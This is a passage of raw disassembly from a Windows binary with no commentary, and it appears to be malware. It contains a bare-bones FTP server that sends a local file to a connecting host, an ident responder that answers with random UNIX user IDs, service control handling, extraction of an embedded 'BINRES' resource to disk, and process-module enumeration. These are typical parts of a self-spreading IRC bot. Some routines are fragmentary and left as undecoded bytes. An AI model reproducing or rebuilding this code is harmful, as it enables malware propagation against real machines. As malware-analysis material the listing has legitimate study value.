arg_F0 = byte ptr 0F4h
arg_118 = byte ptr 11Ch
arg_128 = byte ptr 12Ch
arg_138 = byte ptr 13Ch
arg_148 = byte ptr 14Ch
arg_158 = byte ptr 15Ch
arg_908 = byte ptr 90Ch
arg_18C8 = dword ptr 18CCh
arg_18D8 = dword ptr 18DCh
arg_1930 = byte ptr 1934h
arg_1970 = dword ptr 1974h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41F030
push eax
mov eax, 19B4h
mov large fs:0, esp
call sub_437B30
push esi
push edi
mov edi, ecx
xor eax, eax
mov [esp+14h+var_8], edi
mov [esp+14h+arg_14], 10h
lea esi, [edi+19h]
mov ecx, esi
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+8], eax
mov [ecx+0Ch], eax
mov word ptr [esi], 2
mov [edi+1Dh], eax
mov dx, word ptr dword_44964F
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [edi+1Bh], ax
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [edi+15h], eax
jnz short loc_41F0B7
lea eax, [esp+24h+var_18]
mov ecx, offset byte_4E8E9B
push eax
mov [esp+28h+var_18], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F75A
; ---------------------------------------------------------------------------
loc_41F0B7: ; CODE XREF: sub_41F030+6Dj
push 10h
push esi
push eax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41F0E7
mov ecx, [edi+15h]
push ecx
nop
call near ptr 71AB9639h
lea edx, [esp+34h+var_28]
mov ecx, offset byte_4E8E9B
push edx
mov [esp+38h+var_28], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F75A
; ---------------------------------------------------------------------------
loc_41F0E7: ; CODE XREF: sub_41F030+93j
mov al, byte_4E8E44
test al, al
jz loc_41F750
push ebx
mov ebx, dword_511B14
push ebp
mov ebp, dword_511CA0
loc_41F102: ; CODE XREF: sub_41F030+718j
mov eax, [edi+15h]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41F11D
push 0FAh
jmp loc_41F73B
; ---------------------------------------------------------------------------
loc_41F11D: ; CODE XREF: sub_41F030+E1j
mov eax, [edi+15h]
lea ecx, [esp+40h+var_C]
lea edx, [esp+40h+arg_F0]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41F736
xor ecx, ecx
lea edx, [esp+4Ch+var_14]
mov [esp+4Ch+var_2C], ecx
lea eax, [esp+4Ch+var_2C]
mov [esp+4Ch+var_28], ecx
push edx
mov [esp+50h+var_24], ecx
push eax
push esi
mov [esp+58h+var_14], 10h
mov [esp+58h+var_20], ecx
call near ptr 71AC0B50h
nop
mov eax, [esp+58h+var_34]
test al, al
jz loc_41F741
mov cl, byte_449DB8
test cl, cl
jz short loc_41F1CF
mov edx, [esp+58h+var_34+3]
mov ecx, dword_44964F
and edx, 0FFh
push ecx
mov ecx, [esp+5Ch+var_34+2]
push edx
mov edx, [esp+60h+var_34+1]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d"
mov ecx, offset dword_449958
call sub_4014DD
push eax
push 0
push 0
push offset byte_4D8075
call sub_401857
add esp, 28h
loc_41F1CF: ; CODE XREF: sub_41F030+14Ej
lea ecx, [esp+58h+arg_0]
call sub_40142E
push 1000h
push 1000h
lea ecx, [esp+60h+arg_0]
mov [esp+60h+arg_1970], 0
call sub_401C71
push eax
call sub_4015F5
add esp, 8
lea eax, [esp+58h+arg_0]
lea ecx, [esp+58h+arg_18]
push eax
call sub_4014D3
lea ecx, [esp+58h+arg_0]
mov byte ptr [esp+58h+arg_1970], 1
push ecx
lea ecx, [esp+5Ch+arg_18]
call sub_401FDC
mov edi, offset a220 ; "220 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a220 ; "220 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+6Ch+arg_158]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a331 ; "331 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a331 ; "331 \r\n"
push esi
call ebp ; send
push 0
lea eax, [esp+7Ch+arg_148]
push 800h
push eax
push esi
call sub_401280
mov edi, offset a230 ; "230 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a230 ; "230 \r\n"
push esi
call ebp ; send
push 0
lea ecx, [esp+8Ch+arg_138]
push 800h
push ecx
push esi
call sub_401280
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
push 0
not ecx
dec ecx
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+9Ch+arg_128]
push 800h
push edx
push esi
call sub_401280
add esp, 10h
lea eax, [esp+98h+arg_128]
lea ecx, [esp+98h+var_C]
push eax
call sub_401870
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
lea ecx, [esp+0A4h+var_C]
mov [esp+0A4h+arg_1930], 2
call sub_4016B8
push offset asc_445078 ; ","
lea edx, [esp+9Ch+arg_38]
push 0
push edx
lea ecx, [esp+0A4h+var_54]
mov [esp+0A4h+arg_1930], 3
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 4
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_38]
mov edi, eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea eax, [esp+9Ch+arg_80]
push 1
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 5
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_80]
mov [esp+98h+var_7C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea ecx, [esp+9Ch+arg_8]
push 2
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 6
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_8]
mov [esp+98h+var_5C], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea edx, [esp+9Ch+arg_68]
push 3
push edx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 7
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_68]
mov [esp+98h+var_58], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea eax, [esp+9Ch+arg_20]
push 4
push eax
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 8
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_20]
mov [esp+98h+var_88], eax
mov [esp+98h+arg_1930], 3
call sub_401226
push offset asc_445078 ; ","
lea ecx, [esp+9Ch+arg_50]
push 5
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_4016B8
mov ecx, eax
mov [esp+98h+arg_1930], 9
call sub_4017EE
push eax
call ebx ; atoi
add esp, 4
lea ecx, [esp+98h+arg_50]
mov [esp+98h+var_80], eax
mov [esp+98h+arg_1930], 3
call sub_401226
mov dl, byte ptr [esp+98h+var_88]
mov al, byte ptr [esp+98h+var_80]
mov ecx, [esp+98h+var_58]
mov byte ptr [esp+98h+var_68+1], dl
mov edx, [esp+98h+var_5C]
mov byte ptr [esp+98h+var_68], al
mov eax, [esp+98h+var_68]
push ecx
and eax, 0FFFFh
push edx
mov [esp+0A0h+var_88], eax
mov eax, [esp+0A0h+var_7C]
push eax
push edi
lea ecx, [esp+0A8h+arg_A8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ecx
nop
call sub_5F76F7
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 18h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+0ACh+arg_118]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a150 ; "150 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a150 ; "150 \r\n"
push esi
call ebp ; send
mov eax, [esp+0B8h+var_A8]
lea ecx, [esp+0B8h+arg_88]
push eax
push ecx
call sub_401AA0
add esp, 8
lea ecx, [esp+0B8h+var_44]
mov [esp+0B8h+var_A8], eax
push offset aRb ; "rb"
call sub_4017EE
push eax
nop
call near ptr 77C3F010h
mov edi, eax
add esp, 8
test edi, edi
mov [esp+0B8h+var_A0], edi
jz loc_41F695
cmp [esp+0B8h+var_A8], 0FFFFFFFFh
jz loc_41F695
push 2
push 0
push edi
call near ptr 77C4139Ch
nop
push edi
call near ptr 77C41574h
nop
push 0
push 0
push edi
mov [esp+0D4h+var_9C], eax
nop
call near ptr 77C4139Ch
add esp, 1Ch
loc_41F5C0: ; CODE XREF: sub_41F030+5E1j
mov edx, [esp+0B8h+var_A0]
mov ecx, 400h
xor eax, eax
lea edi, [esp+0B8h+arg_908]
rep stosd
push edx
push 1000h
lea eax, [esp+0C0h+arg_908]
push 1
push eax
nop
call near ptr 77C411FBh
mov ecx, [esp+0C8h+var_A0]
mov edi, eax
add esp, 10h
test byte ptr [ecx+0Ch], 20h
jnz short loc_41F613
mov eax, [esp+0B8h+var_A8]
push 0
lea edx, [esp+0BCh+arg_908]
push edi
push edx
push eax
call ebp ; send
cmp edi, 1000h
jz short loc_41F5C0
loc_41F613: ; CODE XREF: sub_41F030+5C7j
mov eax, [esp+0C8h+var_B4]
mov edx, [eax+11h]
inc edx
mov [eax+11h], edx
mov cl, byte_449DB8
test cl, cl
mov eax, edx
jz short loc_41F67C
mov edx, [esp+0C8h+var_A4+3]
mov ecx, [esp+0C8h+var_AC]
push eax
mov eax, [esp+0CCh+var_A4+2]
and edx, 0FFh
push ecx
mov ecx, [esp+0D0h+var_A4+1]
push edx
mov edx, [esp+0D4h+var_A4]
and eax, 0FFh
and ecx, 0FFh
push eax
and edx, 0FFh
push ecx
push edx
push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"...
mov ecx, offset dword_449958
call sub_4014DD
push eax
push 0
push 0
push offset byte_4D8075
call sub_401857
add esp, 2Ch
loc_41F67C: ; CODE XREF: sub_41F030+5F8j
mov eax, [esp+0C8h+var_B0]
push eax
nop
call near ptr 77C40AB1h
mov ecx, [esp+0CCh+var_B8]
add esp, 4
push ecx
nop
call near ptr 71AB9639h
loc_41F695: ; CODE XREF: sub_41F030+55Bj
; sub_41F030+566j
mov edi, offset a226 ; "226 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a226 ; "226 \r\n"
push esi
call ebp ; send
push 0
lea edx, [esp+0E0h+arg_E4]
push 800h
push edx
push esi
call sub_401280
mov edi, offset a221 ; "221 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a221 ; "221 \r\n"
push esi
call ebp ; send
push esi
call near ptr 71AB9639h
nop
lea ecx, [esp+0F0h+var_AC]
mov byte ptr [esp+0F0h+arg_18D8], 2
call sub_401226
lea ecx, [esp+0F0h+var_64]
mov byte ptr [esp+0F0h+arg_18D8], 1
call sub_401226
lea ecx, [esp+0F0h+var_7C]
mov byte ptr [esp+0F0h+arg_18D8], 0
call sub_401226
lea ecx, [esp+0F0h+var_94]
mov [esp+0F0h+arg_18D8], 0FFFFFFFFh
call sub_401226
mov edi, [esp+0F0h+var_DC]
loc_41F736: ; CODE XREF: sub_41F030+109j
push 9C4h
loc_41F73B: ; CODE XREF: sub_41F030+E8j
nop
call near ptr 2850369h
loc_41F741: ; CODE XREF: sub_41F030+140j
mov al, byte_4E8E44
test al, al
jnz loc_41F102
pop ebp
pop ebx
loc_41F750: ; CODE XREF: sub_41F030+BEj
mov eax, [edi+15h]
push eax
call near ptr 71AB9639h
nop
loc_41F75A: ; CODE XREF: sub_41F030+82j
; sub_41F030+B2j
mov ecx, [esp+0F0h+arg_18C8]
pop edi
xor eax, eax
pop esi
mov large fs:0, ecx
add esp, 19C0h
retn
sub_41F030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F960 proc near ; CODE XREF: sub_401230j
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_60 = byte ptr -60h
var_48 = byte ptr -48h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41F960
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 84h
push ebx
push ebp
push esi
push 71h
call sub_40198D
add esp, 4
cmp eax, 0FFFFFFFFh
mov [esp+9Ch+var_90], eax
jnz short loc_41F99D
mov byte_4E8E99, 0
jmp loc_41FB01
; ---------------------------------------------------------------------------
loc_41F99D: ; CODE XREF: sub_41F960+2Fj
mov cl, byte_44927B
xor ebx, ebx
cmp cl, bl
mov byte_4E8E99, 1
jnz loc_41FAF4
lea ecx, [esp+9Ch+var_8C]
push ecx
push eax
call sub_402009
mov ebp, eax
add esp, 8
cmp ebp, 0FFFFFFFFh
jz loc_41FAE7
push edi
lea ecx, [esp+0A0h+var_7C]
call sub_40142E
mov [esp+0A0h+var_4], ebx
call sub_401F0A
mov esi, dword_511AC8
call esi ; rand
cdq
mov ecx, 3
push offset byte_448F30
idiv ecx
lea ecx, [esp+0A0h+var_78]
mov edi, edx
add edi, 0Ah
call sub_4015E1
cmp edi, ebx
jle short loc_41FA66
loc_41FA0A: ; CODE XREF: sub_41F960+104j
lea ecx, [esp+9Ch+var_60]
call sub_40142E
lea edx, [esp+9Ch+var_78]
lea ecx, [esp+9Ch+var_60]
push edx
mov byte ptr [esp+0A0h], 1
call sub_401FDC
call esi ; rand
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+9Ch+var_60]
add edx, 61h
push edx
call sub_4017EE
push eax
lea edx, [esp+0A4h+var_78]
push offset dword_444E54
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+9Ch+var_60]
mov [esp+9Ch], bl
call sub_401226
dec edi
jnz short loc_41FA0A
loc_41FA66: ; CODE XREF: sub_41F960+A8j
push 0Ah
lea ecx, [esp+0A0h+var_78]
call sub_401479
mov [eax], bl
mov ecx, 10h
xor eax, eax
lea edi, [esp+9Ch+var_48]
rep stosd
lea ecx, [esp+9Ch+var_78]
call sub_4017EE
push eax
push 71h
call esi ; rand
cdq
mov ecx, 1770h
idiv ecx
inc edx
push edx
lea edx, [esp+0A8h+var_48]
push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n"
push edx
nop
call sub_5F76F7
add esp, 14h
lea eax, [esp+9Ch+var_48]
push ebx
push 40h
push eax
push ebp
nop
call near ptr 71AB428Ah
mov esi, dword_511C9C
push ebp
call esi ; closesocket
lea ecx, [esp+0A0h+var_7C]
mov [esp+0A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0A0h+var_90]
push ecx
call esi ; closesocket
mov byte_4E8E99, bl
pop edi
jmp short loc_41FAFE
; ---------------------------------------------------------------------------
loc_41FAE7: ; CODE XREF: sub_41F960+67j
push 7D0h
nop
call near ptr 2850369h
jmp short loc_41FB01
; ---------------------------------------------------------------------------
loc_41FAF4: ; CODE XREF: sub_41F960+4Ej
mov ebp, [esp+9Ch+var_90]
mov esi, dword_511C9C
loc_41FAFE: ; CODE XREF: sub_41F960+185j
push ebp
call esi ; closesocket
loc_41FB01: ; CODE XREF: sub_41F960+38j
; sub_41F960+192j
mov ecx, [esp+9Ch+var_C]
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 90h
retn
sub_41F960 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FB90 proc near ; CODE XREF: sub_401AD2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_41FBCB
dec eax
jz short loc_41FBB4
dec eax
jnz short loc_41FBF1
mov ecx, dword_50DB28
mov dword_50DB0C, 4
call sub_401DE3
jmp short loc_41FBF1
; ---------------------------------------------------------------------------
loc_41FBB4: ; CODE XREF: sub_41FB90+8j
mov ecx, dword_50DB28
mov dword_50DB0C, 7
call sub_401028
jmp short loc_41FBF1
; ---------------------------------------------------------------------------
loc_41FBCB: ; CODE XREF: sub_41FB90+5j
mov ecx, dword_50DB28
xor eax, eax
mov dword_50DB14, eax
mov dword_50DB0C, 1
mov dword_50DB1C, eax
mov dword_50DB20, eax
call sub_40174E
loc_41FBF1: ; CODE XREF: sub_41FB90+Bj
; sub_41FB90+22j ...
mov eax, dword_50DB2C
push offset dword_50DB08
push eax
mov dword_50DB0C, 4
nop
call near ptr 292062Fh
retn 4
sub_41FB90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FC30: ; CODE XREF: ___:loc_401965j
push esi
xor esi, esi
push offset sub_401AD2
mov ecx, offset byte_44990F
mov dword_50DB08, 20h
mov dword_50DB0C, 2
mov dword_50DB10, 3
mov dword_50DB14, esi
mov dword_50DB18, esi
mov dword_50DB1C, esi
mov dword_50DB20, esi
call sub_4017EE
push eax
call near ptr 29202B8h
nop
cmp eax, esi
mov dword_50DB2C, eax
jz short loc_41FCAA
push offset dword_50DB08
push eax
mov dword_50DB0C, 4
mov dword_50DB1C, esi
mov dword_50DB20, esi
nop
call near ptr 292062Fh
loc_41FCAA: ; CODE XREF: ___:0041FC86j
pop esi
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FCD0 proc near ; CODE XREF: sub_401069j
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F068
mov eax, esi
pop esi
retn
sub_41FCD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FD00 proc near ; CODE XREF: sub_401CF3j
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
sub esp, 110h
mov dword_50DB28, ecx
push 100h
mov ecx, offset byte_44990F
call sub_4017EE
push eax
lea eax, [esp+118h+var_100]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea edx, [esp+110h+var_110]
lea ecx, [esp+110h+var_100]
xor eax, eax
push edx
mov [esp+114h+var_110], ecx
mov [esp+114h+var_10C], offset loc_401965
mov [esp+114h+var_108], eax
mov [esp+114h+var_104], eax
nop
call near ptr 2920000h
xor eax, eax
add esp, 110h
retn
sub_41FD00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41FD80: ; CODE XREF: ___:00401C44j
mov eax, [esp+4]
push ebx
push esi
push edi
push offset aWb ; "wb"
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41FDA2
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FDA2: ; CODE XREF: ___:0041FD9Aj
mov ecx, [esp+18h]
push ecx
nop
call near ptr 28A1CCEh
mov esi, eax
test esi, esi
jnz short loc_41FDB9
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FDB9: ; CODE XREF: ___:0041FDB1j
mov edx, [esp+14h]
push offset aBinres ; "BINRES"
and edx, 0FFFFh
push edx
push esi
nop
call near ptr 27A02ABh
mov edi, eax
test edi, edi
jnz short loc_41FDDC
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41FDDC: ; CODE XREF: ___:0041FDD4j
push ebp
push edi
push esi
nop
call near ptr 27A0A61h
push edi
push esi
mov ebp, eax
nop
call near ptr 27B0000h
push ebp
mov esi, eax
call near ptr 27B03C5h
nop
push ebx
push esi
push 1
push eax
nop
call near ptr 77C4173Bh
push ebx
call near ptr 77C40AB1h
nop
add esp, 14h
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE50 proc near ; CODE XREF: sub_40188Ej
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41FE78
push esi
call near ptr 71AB4FD4h
nop
test eax, eax
jnz short loc_41FE71
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FE71: ; CODE XREF: sub_41FE50+1Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_41FE78: ; CODE XREF: sub_41FE50+Fj
pop esi
retn
sub_41FE50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FE90 proc near ; CODE XREF: sub_401AA0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FEAE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FEAE: ; CODE XREF: sub_41FE90+15j
mov ecx, [esp+14h+arg_4]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
call near ptr 71AB2B66h
nop
mov edx, [esp+14h+arg_0]
mov word ptr [esp+14h+var_10+2], ax
push edx
call sub_40188E
add esp, 4
mov [esp+14h+var_C], eax
lea eax, [esp+14h+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_41FF0A
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FF0A: ; CODE XREF: sub_41FE90+69j
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FE90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FF50 proc near ; CODE XREF: sub_40198Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41FF6E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FF6E: ; CODE XREF: sub_41FF50+15j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+14h+var_10]
push 10h
push edx
push esi
mov word ptr [esp+20h+var_10+2], ax
mov [esp+20h+var_C], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41FFC0
push esi
nop
call near ptr 71AB9639h
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41FFC0: ; CODE XREF: sub_41FF50+5Fj
mov eax, esi
pop esi
add esp, 10h
retn
sub_41FF50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41FFF0 proc near ; CODE XREF: sub_4012DFj
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, [esp+14h+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_420024
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_10]
push eax
push ecx
push esi
mov [esp+20h+arg_0], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
jnz short loc_420027
loc_420024: ; CODE XREF: sub_41FFF0+14j
or eax, 0FFFFFFFFh
loc_420027: ; CODE XREF: sub_41FFF0+32j
pop esi
add esp, 10h
retn
sub_41FFF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420040 proc near ; CODE XREF: sub_402009j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_420076
mov esi, [esp+8+arg_0]
push 0Ah
push esi
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz short loc_420076
lea eax, [esp+8+arg_4]
mov [esp+8+arg_4], 10h
push eax
push edi
push esi
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
jnz short loc_420079
loc_420076: ; CODE XREF: sub_420040+8j
; sub_420040+1Aj
or eax, 0FFFFFFFFh
loc_420079: ; CODE XREF: sub_420040+34j
pop edi
pop esi
retn
sub_420040 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_420090 proc near ; CODE XREF: sub_401604j
var_1128 = dword ptr -1128h
var_1124 = byte ptr -1124h
var_1112 = byte ptr -1112h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_1108 = byte ptr -1108h
var_1104 = byte ptr -1104h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_104 = byte ptr 108h
arg_110 = byte ptr 114h
mov eax, 1114h
call sub_437B30
lea eax, [esp+arg_4]
lea ecx, [esp+arg_110]
push eax
push 1000h
push ecx
mov byte ptr [esp+0Fh], 0
call sub_4382BC
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4200C3
xor al, al
add esp, 1114h
retn
; ---------------------------------------------------------------------------
loc_4200C3: ; CODE XREF: sub_420090+28j
mov eax, [esp+0Ch+var_4]
shr eax, 2
jz loc_42018D
push ebx
mov ebx, dword_5117E0
push ebp
push esi
push edi
lea ebp, [esp+1Ch+arg_104]
mov [esp+1Ch+var_8], eax
loc_4200E5: ; CODE XREF: sub_420090+F3j
mov edi, offset aUnknown ; "unknown"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+20h]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+0]
push ecx
push 0
push 411h
call ebx
mov esi, eax
test esi, esi
jz short loc_420177
lea edx, [esp+18h]
lea eax, [esp+1Ch]
push edx
push 4
push eax
push esi
call sub_4382B6
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_420170
mov edx, [esp+1144h+var_1128]
lea ecx, [esp+1144h+var_1124]
push 104h
push ecx
push edx
push esi
call sub_4382B0
; ---------------------------------------------------------------------------
db 8Bh, 84h, 24h
dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h
dd 500D75C0h, 71E89056h, 0C6023800h, 1132444h
; ---------------------------------------------------------------------------
loc_420170: ; CODE XREF: sub_420090+A2j
push esi
nop
call near ptr 2850BF4h
loc_420177: ; CODE XREF: sub_420090+8Cj
mov eax, dword ptr [esp+1138h+var_1124]
add ebp, 4
dec eax
mov dword ptr [esp+1138h+var_1124], eax
jnz loc_4200E5
pop edi
pop esi
pop ebp
pop ebx
loc_42018D: ; CODE XREF: sub_420090+3Aj
mov al, byte ptr [esp+1128h+var_1128+3]
add esp, 1114h
retn
sub_420090 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4201F0 proc near ; CODE XREF: sub_401A0Aj
var_490 = byte ptr -490h
var_488 = byte ptr -488h
var_482 = byte ptr -482h
var_480 = byte ptr -480h
var_478 = byte ptr -478h
var_468 = dword ptr -468h
var_464 = byte ptr -464h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_43C = byte ptr -43Ch
var_438 = byte ptr -438h
var_424 = byte ptr -424h
var_420 = byte ptr -420h
var_38 = byte ptr -38h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4201F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 44Ch
push ebx
push esi
mov esi, [esp+460h+arg_0]
lea ecx, [esp+460h+var_424]
push esi
call sub_401870
push eax
mov [esp+464h+var_4], 0
call sub_401EAB
add esp, 4
lea ecx, [esp+460h+var_424]
mov bl, al
mov [esp+460h+var_4], 0FFFFFFFFh
